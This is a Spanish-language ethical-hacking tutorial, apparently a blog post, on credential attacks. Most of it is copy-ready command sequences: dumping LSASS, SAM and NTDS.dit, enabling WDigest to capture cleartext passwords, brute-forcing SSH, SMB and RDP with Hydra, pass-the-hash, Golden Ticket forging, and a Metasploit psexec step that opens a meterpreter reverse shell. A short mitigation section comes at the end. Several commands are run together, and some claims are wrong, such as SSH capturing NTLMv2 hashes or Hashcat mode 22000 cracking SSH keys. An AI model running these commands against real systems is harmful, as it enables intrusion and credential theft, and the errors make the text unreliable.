1. Introducción a la Autenticación

La autenticación es el pilar de la seguridad: determinar con certeza quién eres antes de concederte acceso. Se basa en tres factores principales:

1. Algo que sabes: contraseñas, PINs o frases secretas. Es el método más común, pero también el más vulnerable cuando las credenciales son débiles o reutilizadas.
2. Algo que tienes: dispositivos físicos como tokens hardware (YubiKey), llaves USB o apps de autenticación (Google Authenticator, Authy).
3. Algo que eres: características biométricas (huella dactilar, reconocimiento facial, voz).

En entornos corporativos, la defensa en profundidad recomienda combinar al menos dos factores (MFA). Sin embargo, en muchos sistemas legacy y servicios públicos, la contraseña sigue siendo el único mecanismo. Esto abre la puerta a:

• Ataques de fuerza bruta: probar sistemáticamente todas las combinaciones posibles. Por ejemplo, con un conjunto de 8 caracteres alfanuméricos existen 62^8 pprox 218 mil millones de combinaciones.
• Ataques de diccionario: usar listas de palabras comunes (rockyou, leak compilations) que aprovechan la tendencia de los usuarios a elegir contraseñas fáciles de recordar.
• Ataques de relleno de credenciales: aplicar credenciales obtenidas de brechas previas en múltiples servicios, ya que muchos usuarios reutilizan la misma contraseña.

En esta sección veremos por qué las contraseñas siguen siendo relevantes y cómo su fortaleza determina la velocidad y el éxito del ataque.

---

2. Almacenamiento de Credenciales

Comprender dónde y cómo se guardan las contraseñas es fundamental para cualquier auditoría. Examinaremos los dos entornos principales: Linux y Windows.

Linux: /etc/passwd y /etc/shadow

En sistemas Unix-like, el archivo /etc/passwd lista las cuentas de usuario, pero no almacena contraseñas en texto plano. En su lugar, referencia el almacén seguro:

• /etc/passwd: contiene entradas como root:x:0:0:root:/root:/bin/bash, donde la x indica que el hash está en /etc/shadow.
• /etc/shadow: reservado para usuarios con permisos de root. Cada línea tiene el formato:

usuario:$<id>$<salt>$<hash>:ultima_modificacion:min:max:warn:inactive:expire:

• Por ejemplo:

root@host:~# cat /etc/shadow davidalvk:$y$j9T$3QSBB6CbHEu...SNIP...f8Ms:18955:0:99999:7:::

• id define el algoritmo (1=MD5, 5=SHA-256, 6=SHA-512).
• salt es un valor aleatorio que previene ataques con rainbow tables.

Para combinar ambos archivos y preparar a John/Hashcat:

sudo unshadow /etc/passwd /etc/shadow > unshadowed.hashes

Este comando genera un único fichero con usuario:hash listo para ser descifrado.

Windows: SAM y Active Directory

En entornos Windows, las contraseñas se gestionan de forma distinta según se trate de máquinas individuales o dominios:

• Máquina local (SAM):
  • La base de datos se encuentra en %SystemRoot%\System32\config\SAM.Solo el usuario SYSTEM puede leerla. Para volcarla, es común usar reg.exe o herramientas de Volcados de memoria (p.ej. mimikatz) a través de un contexto SYSTEM.
  Ejemplo con reg.exe:

reg.exe save hklm\sam C:\temp\SAM.savereg.exe save hklm\system C:\temp\SYSTEM.savereg.exe save hklm\security C:\temp\SECURITY.save

• Luego, con Impacket:

python3 secretsdump.py -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL > hashes.txt

• Dominio Active Directory (NTDS.dit):
  • Controladores de dominio guardan usuarios y grupos en NTDS.dit, bajo %SystemRoot%\NTDS.
  • Se suele extraer vía Volume Shadow Copy (VSS):

vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\NTDS\NTDS.dit C:\temp\NTDS.ditcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SYSTEM C:\temp\SYSTEM.save

• Luego:

python3 secretsdump.py -ntds C:\temp\NTDS.dit -system C:\temp\SYSTEM.save LOCAL > domain_hashes.txt

Una vez tengamos el listado de hashes (ya sea unshadowed.hashes, hashes.txt o domain_hashes.txt), estaremos listos para pasar al cracking con las herramientas de la siguiente sección.

3. Herramientas de Cracking: John the Ripper

John the Ripper (o simplemente «John») es una de las herramientas más veteranas y versátiles para el descifrado de contraseñas por fuerza bruta, diccionario y técnicas híbridas. Está optimizada para CPUs y se integra con wordlists, reglas de mutación y distribuciones en red.

Modos principales de John

• Single Crack Mode: combina información de usuario (nombre, UID, home, etc.) con wordlists para generar posibles contraseñas.

john --single --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

• Wordlist Mode: recorre directamente una lista de palabras.

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

• Incremental Mode: fuerza bruta pura, útil cuando no hay pistas.

john --incremental --min-length=6 --max-length=8 hashes.txt

• External Mode: permiten scripts o plugins personalizados (con lenguajes como Lua).

Formatos comunes soportados

John detecta muchos tipos de hash mediante la opción --format. Algunos ejemplos:

john --format=raw-md5       hashes.txt    # MD5 sin procesar
john --format=raw-sha1      hashes.txt    # SHA1 sin procesar
john --format=raw-sha256    hashes.txt    # SHA256 sin procesar
john --format=raw-sha512    hashes.txt    # SHA512 sin procesar
john --format=nt            hashes.txt    # NTLM (Windows)
john --format=wpapsk        hashes.txt    # WPA/WPA2 PSK
john --format=shadow        unshadowed.hashes  # /etc/shadow combinados

Puedes listar todos los formatos soportados así:

john --list=formats

Reglas de mutación

En lugar de modificar manualmente la wordlist, John aplica reglas (--rules) para añadir prefijos, sufijos, mayúsculas, sustituciones comunes, etc.

john --wordlist=rockyou.txt --rules --format=nt hashes.txt

Las reglas están definidas en el archivo john.conf o en john.ini.

Monitoreo y resultados

• Estado en ejecución: pulsa Enter durante el crack para ver el progreso.
• Mostrar contraseñas encontradas:

john --show hashes.txt

• Reanudar sesión: John guarda checkpoints automáticamente.

john --restore

Con estas técnicas, John the Ripper te permitirá cubrir la mayoría de escenarios de descifrado de contraseñas en entornos Linux, Windows y aplicaciones diversas.

4. Herramientas de Cracking: Hashcat

Hashcat es reconocido por su rendimiento en GPUs, permitiendo descifrado masivo de contraseñas en modos optimizados. A continuación veremos cómo aprovechar Hashcat al máximo.

Modos de Ataque Principales

• Modo Diccionario (-a 0): combinación de wordlist con modo puro.

hashcat -m 0 -a 0 hashes.txt rockyou.txt

• Modo Combinación (-a 1): une palabras de dos listas distintas.

hashcat -m 0 -a 1 wordlist1.txt wordlist2.txt

• Modo Bruteforce/Incremental (-a 3): fuerza bruta puro con máscaras.

hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?l?l

• ?l = letra minúscula, ?u = mayúscula, ?d = dígito, ?s = símbolo.
• Modo de Archivo de Reglas (-a 0 + -r): aplica reglas de mutación a una wordlist.

hashcat -m 0 -a 0 hashes.txt rockyou.txt -r rules/best64.rule

• Modo Hybrid Wordlist + Mask (-a 6/7):
  • Wordlist luego máscara (-a 6):

hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d?d

• Máscara luego wordlist (-a 7):

hashcat -m 0 -a 7 hashes.txt ?l?l?l?l rockyou.txt

Selección de Hash con -m

Hashcat utiliza códigos para identificar el tipo de hash. Algunos ejemplos:

Código	Algoritmo
0	MD5
100	SHA1
1400	SHA224
1700	SHA512
1000	NTLM
1800	sha512crypt
22000	WPA/WPA2-PBKDF2
22100	BitLocker

Para ver la lista completa:

hashcat --help | grep "Hash types"

Reglas y Máscaras

• Reglas integradas: rules/best64.rule, rules/dive.rule, rules/john.rule.
• Máscaras personalizadas: guarda en masks.hcmask y usa con --custom-charset1:

echo "?d?d?l?l?s" > custom.hcmaskhashcat -m 0 -a 3 hashes.txt -1 custom.hcmask ?1?1?1?1?1?1?1

Monitorización y Optimización

• Mostrar progreso:

hashcat --status --status-timer=10 -m 0 hashes.txt rockyou.txt

• Persistencia de sesiones:

hashcat --session=mi_sesion -m 0 hashes.txt rockyou.txthashcat --restore --session=mi_sesion

• Uso de CPU + GPU (en modo CPU solamente):

hashcat -d 1 -D 1 -a 0 hashes.txt rockyou.txt

Con Hashcat dominarás tanto ataques basados en diccionario como brute-force avanzados, aprovechando reglas y máscaras para maximizar la cobertura.

5. Hydra y Otros Ataques a Servicios

Hydra es una herramienta poderosa para realizar intentos de acceso masivos contra servicios de red: SSH, FTP, SMB, RDP, HTTP, entre otros.

Ejecución básica con diccionario

hydra -L user.list -P password.list ssh://10.0.0.1
hydra -L user.list -P password.list ftp://10.0.0.1
hydra -L user.list -P password.list smb://10.0.0.1
hydra -L user.list -P password.list rdp://10.0.0.1

• -L: lista de usuarios.
• -P: lista de contraseñas.
• ssh://10.0.0.1: servicio y host objetivo.

Opciones clave

• -t N: número de hilos concurrentes.
• -f: detener al encontrar la primera credencial válida.
• -V: modo verboso, muestra cada intento.
• -o output.txt: guardar resultados en archivo.

Ejemplo con opciones:

hydra -L users.txt -P passwords.txt ssh://10.0.0.1 -t 4 -f -V -o hydra_results.txt

Relleno de credenciales

Si ya tienes combos usuario:contraseña:

hydra -C user_pass.list ssh://10.0.0.1

Integración con clientes nativos

• SSH: usa ssh para validar interactivamente.
• RDP con xfreerdp:

xfreerdp /v:10.0.0.1 /u:user /p:Password123

• SMB con smbclient:

smbclient -U user //10.0.0.1/ShareName

Alternativas y complementos

• medusa: similar a Hydra pero con diferentes módulos.
• ncrack: de la gente de nmap, enfoque en servicios de red.

Con Hydra cubrimos un amplio abanico de servicios, ajustando hilos, verbosidad y formatos de credenciales. Ahora pasamos a CrackMapExec y Metasploit.

6. CrackMapExec y Metasploit

CrackMapExec (CME) y Metasploit son herramientas esenciales para simular movimientos laterales y ataques de fuerza bruta en entornos Windows.

CrackMapExec (CME)

CME es una herramienta multipropósito que facilita la ejecución de módulos sobre SMB, WinRM, SSH y más.

• Instalación básica:

sudo apt-get update && sudo apt-get install crackmapexec

• Sintaxis general:

crackmapexec <servicio> <objetivo> -u <usuario> -p <contraseña> [opciones]

• Opciones comunes:
  • --shares: enumera recursos compartidos.
  • --sam: volcado de SAM local.
  • --lsa: volcado de credenciales LSA.
  • --ntds: volcado de base de datos de Active Directory.

Ejemplos prácticos:

# Listar shares SMB
crackmapexec smb 10.129.42.197 -u admin -p Passw0rd --shares

# Volcar SAM con autenticación local
crackmapexec smb 10.129.42.197 --local-auth -u user -p password --sam

# Extraer credenciales de LSASS
crackmapexec smb 10.129.42.197 --local-auth -u user -p password --lsa

# Volcar NTDS.dit vía credenciales locales
crackmapexec smb 10.129.42.197 --local-auth -u user -p password --ntds

# Ataque WinRM con listas de usuarios y contraseñas
crackmapexec winrm 10.129.42.197 -u users.txt -p passwords.txt

Metasploit

Metasploit Framework es un entorno de desarrollo para exploits y herramientas de reconocimiento y post-explotación.

• Arrancar Metasploit:

msfconsole -q

• Módulo SMB Login:

use auxiliary/scanner/smb/smb_loginset RHOSTS 10.129.42.197set USER_FILE users.txtset PASS_FILE passwords.txtset THREADS 10run

• Módulo Post-Explotación (si tienes credenciales válidas):

use exploit/windows/smb/psexecset RHOST 10.129.42.197set SMBUser administratorset SMBPass Passw0rdset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 10.0.0.5run

Con CME y Metasploit podrás enumerar recursos, volcar credenciales y ejecutar código remoto para simular un ataque real en redes Windows.

7. Generación y Mutación de Wordlists

Construir wordlists efectivas y aplicar mutaciones inteligentes puede aumentar significativamente la tasa de éxito de tus ataques de diccionario.

7.1. Extracción de palabras de sitios web con cewl

cewl realiza web scraping para extraer palabras y generar listas contextualizadas:

cewl https://example.com -w custom.list -d 3 -m 5 --lowercase

• -w custom.list: archivo de salida.
• -d 3: profundidad de enlaces.
• -m 5: longitud mínima de palabras.
• --lowercase: convierte todas las palabras a minúsculas.

7.2. Generación de usuarios con username-anarchy

username-anarchy crea posibles combinaciones de nombres y apellidos:

git clone https://github.com/aboul3la/username-anarchy.git
cd username-anarchy
pip3 install -r requirements.txt
./username-anarchy -i names.txt -o users.list

• names.txt: lista de nombres y apellidos.
• users.list: salida con variantes (john_doe, doe.john, etc.).

7.3. Compilar extensiones de archivos frecuentes

Extraer extensiones útiles de sitios de referencia:

curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee compressed_ext.txt

Este comando captura extensiones como .zip, .rar, .7z para incluirlas en contraseñas estilo archivo.zip.

7.4. Mutaciones con Hashcat Rules

Aplicar reglas integradas o personalizadas a una lista base:

hashcat --stdout base.list -r /usr/share/hashcat/rules/best64.rule > mutated.list
hashcat --stdout base.list -r custom.rule >> mutated.list

• --stdout: imprime las palabras mutadas.
• -r: ruta al fichero de reglas.
• mutated.list: lista ampliada con mutaciones.

7.5. Máscaras dinámicas con Crunch

crunch genera wordlists basadas en patrones específicos:

crunch 6 8 abcdef1234 -o crunch.list -t @@%%@@

• 6 8: longitud mínima y máxima.
• abcdef1234: conjunto de caracteres.
• -t @@%%@@: máscara donde @=letra y %=dígito.
• Salida: crunch.list.

7.6. Filtrado y reducción de listas con sort y uniq

Tras generar o combinar listas, eliminar duplicados y ordenar:

sort custom.list mutated.list | uniq > final_wordlist.txt
wc -l final_wordlist.txt  # Mostrar número de entradas

Con estas técnicas garantizas wordlists ricas y variadas, adecuadas a contextos específicos, maximizando la eficacia de tus cracks.

8. Ataques Remotos a Servicios

En esta sección veremos cómo interactuar con servicios remotos una vez que disponemos de credenciales válidas o queremos montar ataques de ingeniería inversa para capturar hashes.

8.1 Conexión SSH

Utiliza el cliente nativo para verificar accesos interactivos y probar manualmente contraseñas:

ssh user@10.0.0.5               # Conexión básica
ssh -p 2222 user@10.0.0.5       # Especificar puerto
ssh -i id_rsa user@10.0.0.5     # Usar clave privada

Para capturar un challenge-response NTLMv2 y usar hashcat o john, habilita ssh verbose:

ssh -v user@10.0.0.5 2>&1 | grep 'Offering publickey' -A 1

8.2 SMB y Comparticiones

Montar un recurso compartido:

smbclient -L \10.0.0.10 -U user      # Listar shares disponibles
smbclient \\10.0.0.10\ShareName -U user  # Conectar a ShareName
get secret.txt                        # Descargar fichero

Levantar un servidor SMB para repartir ficheros maliciosos o capturar hashes:

python3 -m impacket.smbserver SHARE ./payloads -smb2support

Cuando un cliente se conecta, podrás ver los intentos de autenticación para capturar hashes.

8.3 RDP Remoto

Utiliza xfreerdp o clientes nativos para interactuar con sesiones de escritorio remoto:

xfreerdp /v:10.0.0.20 /u:Administrator /p:Passw0rd     # Cliente RDP en Linux
rdesktop 10.0.0.20 -u Administrator -p Passw0rd        # Alternativa con rdesktop

Para capturar tráfico RDP y realizar ataques de Pass-the-Hash con herramientas como rdp-sec-check, necesitarás configurar un proxy intermedio (por ejemplo responder o mitm6).

8.4 LDAP y Servicios Web

Algunos entornos exponen LDAP o interfaces HTTP con autenticación básica:

ldapsearch -x -H ldap://10.0.0.30 -D 'CN=User,CN=Users,DC=corp,DC=local' -W
curl -u user:Passw0rd http://10.0.0.40/api/v1/status

Captura credenciales vía técnicas de interceptación (mitmproxy, Burp) o aprovecha endpoints expuestos para volcar configuraciones.

Con estas conexiones nativas e intermedias tendrás el control de sesiones remotas, podrás descargar datos, ejecutar comandos y preparar el terreno para ataques posteriores a nivel local.

---

9. Ataques Locales: Windows

Cuando ya tienes acceso a una máquina Windows (vía RDP, shell remoto o físico), puedes extraer contraseñas y hashes directamente desde el propio sistema.

9.1. Volcado de LSASS en memoria

El proceso LSASS (Local Security Authority Subsystem Service) contiene credenciales en memoria. Para generar un volcado:

rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\Temp\lsass.dmp full

• 672 debe ser reemplazado por el PID actual del proceso LSASS.
• El archivo resultante (lsass.dmp) contendrá hashes NTLM, tickets Kerberos y a veces contraseñas en texto claro.

Extrae datos con pypykatz:

pypykatz lsa minidump C:\Temp\lsass.dmp

Esto revelará usuarios, hashes NTLM y contraseñas en claro si están disponibles.

---

9.2. Volcado de SAM y SECURITY

En sistemas sin protecciones modernas, puedes extraer el Registro de Windows:

reg.exe save HKLM\SAM C:\Temp\SAM.save
reg.exe save HKLM\SYSTEM C:\Temp\SYSTEM.save
reg.exe save HKLM\SECURITY C:\Temp\SECURITY.save

Luego, usa secretsdump.py de Impacket:

python3 secretsdump.py -sam C:\Temp\SAM.save -system C:\Temp\SYSTEM.save -security C:\Temp\SECURITY.save LOCAL > local_hashes.txt

Esto generará un archivo con los hashes de usuarios locales y contraseñas de servicio.

---

9.3. Extracción de NTDS.dit en Controlador de Dominio

En controladores de dominio, el archivo NTDS.dit contiene toda la base de datos de Active Directory. Se puede extraer mediante Volume Shadow Copy:

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM.save

Luego:

python3 secretsdump.py -ntds C:\Temp\NTDS.dit -system C:\Temp\SYSTEM.save LOCAL > domain_hashes.txt

Esto te dará todos los hashes de usuarios del dominio.

---

9.4. Recolección de WDigest

WDigest puede almacenar contraseñas en texto claro. Para habilitarlo:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Después, reinicia la máquina o forza un inicio de sesión. Vuelve a volcar LSASS para capturar las credenciales en claro.

---

9.5. Otras Técnicas Locales

• Mimikatz (ejecutado como SYSTEM):

.\mimikatz.exe "sekurlsa::logonpasswords" exit

• CrackMapExec para LSA:

crackmapexec smb <ip> -u user -p pass --lsa

• Acceso remoto vía RPC: Usa herramientas como rpcclient o impacket-rpcdump para enumerar y extraer usuarios.
• Escalada en Metasploit:

use post/multi/recon/local_exploit_suggester

Estas técnicas locales permiten escalar privilegios y moverse lateralmente en entornos Windows comprometidos.

---

10. Ataques Locales: Linux

En entornos Unix-like, puedes extraer credenciales y configuraciones sensibles revisando archivos y procesos locales.

10.1. Archivos de Configuración y Credenciales en Claro

Busca extensiones comunes donde se suelen almacenar credenciales:

find / -type f \( -name "*.conf" -o -name "*.cnf" -o -name "*.config" \) 2>/dev/null | grep -Ev "(\/lib\/|\/fonts\/|\/share\/)"

Revisa contenido en busca de contraseñas:

grep -RIn "password\|passwd\|secret" /etc /home 2>/dev/null | grep -Ev "#"

10.2. Usuarios y Grupos

Extrae información de usuarios y grupos que puedan tener privilegios:

cut -d: -f1,3,4 /etc/passwd
cut -d: -f1,4 /etc/group

Analiza si existe algo fuera de lo común (IDs bajos, grupos sudo).

10.3. Volcado de Memoria y Procesos

Algunos procesos pueden mantener secretos en memoria. Identifica procesos con puertos abiertos o conexiones LDAP, HTTP:

ps aux | grep -E "sshd|nginx|apache2|ldap|mysql"
lsof -p <PID> | grep REG

Extrae memoria de un proceso sospechoso:

gdb -p <PID> --batch --ex "dump memory /tmp/proc.mem 0x00000000 0x00100000"
strings /tmp/proc.mem | grep -E "PASS|KEY|SECRET"

10.4. Criptografía y Almacenamiento

Revisa bases de datos o aplicaciones que cifran datos:

find /var/lib -type f \( -name "*.sqlite" -o -name "*.db" \)
sqlite3 /path/to/db.db "SELECT * FROM users;"

Busca hashes en ficheros dump:

grep -R "\$5\$" /var/www/html  # SHA-256 crypt

10.5. Sudo y Comandos SetUID

Comprueba privilegios elevados:

sudo -l -U $(whoami)
find / -perm -4000 -type f 2>/dev/null

Si encuentras binarios SetUID vulnerables, podrías escalar privilegios.

10.6. Limpieza y Reporte

Después de capturar credenciales:

cat /etc/shadow /etc/passwd > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

O utiliza Hashcat directamente:

hashcat -m 1800 combined.txt rockyou.txt --show

---

11. Descifrado de Archivos Protegidos

Los archivos ofimáticos, PDF y ZIP a menudo se protegen con contraseña. Para crakearlos, primero convierte el fichero en un hash entendible por John/Hashcat y luego lanza el ataque.

11.1 Extraer hashes

• PDF:

pdf2john.pl protected.pdf > pdf.hash

• ZIP:

zip2john secret.zip > zip.hash

• Office (docx, xlsm, pptx):

office2john.py secret.docx > docx.hash

SSH Private Key:

ssh2john.py id_rsa > ssh.hash

11.2 Ataque con John the Ripper

Usa una wordlist y, si es necesario, reglas:

john --wordlist=rockyou.txt --rules pdf.hash
john --show pdf.hash       # ver contraseñas recuperadas

11.3 Ataque con Hashcat

Selecciona el modo correcto y una lista de contraseñas:

hashcat -m 10500 zip.hash rockyou.txt      # ZIP
hashcat -m 9600 docx.hash rockyou.txt     # Office 2007+ AES
hashcat -m 22000 ssh.hash rockyou.txt     # WPA handshake / SSH Key

Para mostrar resultados:

hashcat --show -m 10500 zip.hash

12. Movimiento Lateral y Passthrough Hash

Una vez que has capturado hashes (por ejemplo, de NTLM), puedes moverte lateralmente por la red sin necesidad de conocer la contraseña real. Este tipo de técnica se conoce como Pass-the-Hash (PtH).

12.1. Evil-WinRM con hash NTLM

Si el servicio WinRM está habilitado en una máquina Windows, puedes conectarte usando solo el hash:

evil-winrm -i 10.0.0.5 -u Administrator -H 30b3783ce5b8d26b74877815f1b49cc0

• -i: IP del objetivo
• -u: usuario
• -H: hash NTLM sin la parte LM

12.2. Impacket PsExec con hash

Impacket tiene herramientas listas para autenticación con hash NTLM:

impacket-psexec administrator@10.0.0.6 -hashes :30b3783ce5b8d26b74877815f1b49cc0

• -hashes: formato LM:NT, puedes dejar el LM en blanco (:) si solo tienes NTLM.

12.3. CrackMapExec Pass-the-Hash

Puedes realizar escaneos masivos o ataques simultáneos con CME:

crackmapexec smb 10.0.0.0/24 -u Administrator -H 30b3783ce5b8d26b74877815f1b49cc0

Añade --shares, --sam, --lsa, etc. para enumerar servicios en las máquinas donde el hash sea válido.

12.4. Kerberos y Golden Ticket

Aunque no es estrictamente PtH, si extraes el hash de krbtgt, puedes forjar tickets Kerberos válidos en todo el dominio (Golden Ticket).

Para generar uno:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21... /krbtgt:<HASH> /id:500

12.5. Limitaciones

• PtH solo funciona si el servicio destino permite autenticación NTLM.
• No funciona contra autenticación Kerberos-only o con restricciones como Credential Guard.

Este tipo de técnica es extremadamente poderosa si logras comprometer un usuario con privilegios elevados.

---

13. Cracking de BitLocker

BitLocker protege volúmenes en Windows mediante cifrado completo de disco. Sin embargo, si accedemos a una imagen del disco cifrado (por ejemplo, un archivo .vhd o .vhdx), podemos intentar romper la clave.

13.1 Extraer el hash

Primero debemos extraer el hash desde la imagen del volumen usando bitlocker2john:

bitlocker2john -i Backup.vhd > full.hash

Filtra el contenido para extraer solo las líneas válidas:

grep "bitlocker\$0" full.hash > bitlocker.hash

Este hash puede ahora utilizarse con herramientas como Hashcat.

13.2 Crackear con Hashcat

Utiliza el modo 22100 (BitLocker) para lanzar el ataque:

hashcat -m 22100 bitlocker.hash /usr/share/wordlists/rockyou.txt -o cracked.txt

• -m 22100: modo para BitLocker.
• bitlocker.hash: archivo con el hash extraído.
• rockyou.txt: lista de contraseñas.
• cracked.txt: archivo donde se guardarán las contraseñas encontradas.

También puedes usar reglas para modificar la wordlist y probar combinaciones adicionales:

hashcat -m 22100 -r rules/best64.rule bitlocker.hash rockyou.txt

---

14. Buenas Prácticas y Mitigaciones

Todo lo aprendido en esta guía muestra la importancia de una política de seguridad sólida. Aquí te dejo medidas concretas para reducir el riesgo:

14.1 Políticas de Contraseña

• Requiere contraseñas largas (>12 caracteres) y aleatorias.
• Obliga el cambio de contraseñas comprometidas, no caducidad arbitraria.
• Prohíbe contraseñas de listas públicas mediante checkeo automático (HaveIBeenPwned, etc).

14.2 Autenticación Multifactor (MFA)

• MFA basado en apps o tokens físicos para toda cuenta administrativa.
• Bloquea accesos desde ubicaciones desconocidas o dispositivos nuevos sin autorización previa.

14.3 Hardening y Segmentación

• Restringe servicios como SMB, WinRM y RDP a rangos IP autorizados.
• Usa firewalls internos y segmenta la red por niveles de privilegio.

14.4 Auditoría y Detección

• Monitorea cambios en cuentas privilegiadas y logins desde nuevas ubicaciones.
• Usa detección de anomalías y alertas ante múltiples fallos de login.

14.5 Reducción de la Superficie de Ataque

• Elimina cuentas inactivas.
• Usa sistemas operativos actualizados y con seguridad reforzada (Credential Guard, LAPS, etc).
• Cifra siempre discos portátiles con BitLocker y usa PIN o clave USB adicional.

Implementando estas prácticas, puedes reducir drásticamente la efectividad de los ataques vistos en esta guía.

---

¡Gracias por leer! No olvides suscribirte a DavidalVK para más contenido de seguridad y hacking ético.